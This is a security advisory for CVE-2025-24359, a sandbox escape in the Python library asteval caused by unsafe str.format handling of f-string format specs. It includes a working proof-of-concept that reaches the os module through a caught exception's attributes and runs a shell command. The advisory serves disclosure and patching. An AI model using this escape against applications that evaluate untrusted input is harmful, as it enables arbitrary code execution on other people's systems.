CVE-2025-24359 – asteval

Package

Manager: pip
Name: asteval
Vulnerable Version: >=0 <1.0.6

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00042 pctl0.11822

Details

ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape ### Summary If an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. ### Details The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below: ```py def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec') "formatting used in f-strings" val = self.run(node.value) fstring_converters = {115: str, 114: repr, 97: ascii} if node.conversion in fstring_converters: val = fstring_converters[node.conversion](val) fmt = '{__fstring__}' if node.format_spec is not None: fmt = f'{{__fstring__:{self.run(node.format_spec)}}}' return fmt.format(__fstring__=val) ``` The code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. ### PoC The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine: ```py from asteval import Interpreter aeval = Interpreter() code = """ # def lender(): # ga def pwn(): try: f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}" except Exception as ga: ga = ga.obj sub = ga(dict.mro()[1],"__subclasses__")() importer = None for i in sub: if "BuiltinImporter" in str(i): importer = i.load_module break os = importer("os") os.system("whoami") # pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below # pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works pwn() """ aeval(code) ```

Metadata

Created: 2025-01-24T18:45:30Z
Modified: 2025-01-25T00:54:49Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-3wwr-3g9f-9gc7/GHSA-3wwr-3g9f-9gc7.json
CWE IDs: ["CWE-134", "CWE-749"]
Alternative ID: GHSA-3wwr-3g9f-9gc7
Finding: F184
Auto approve: 1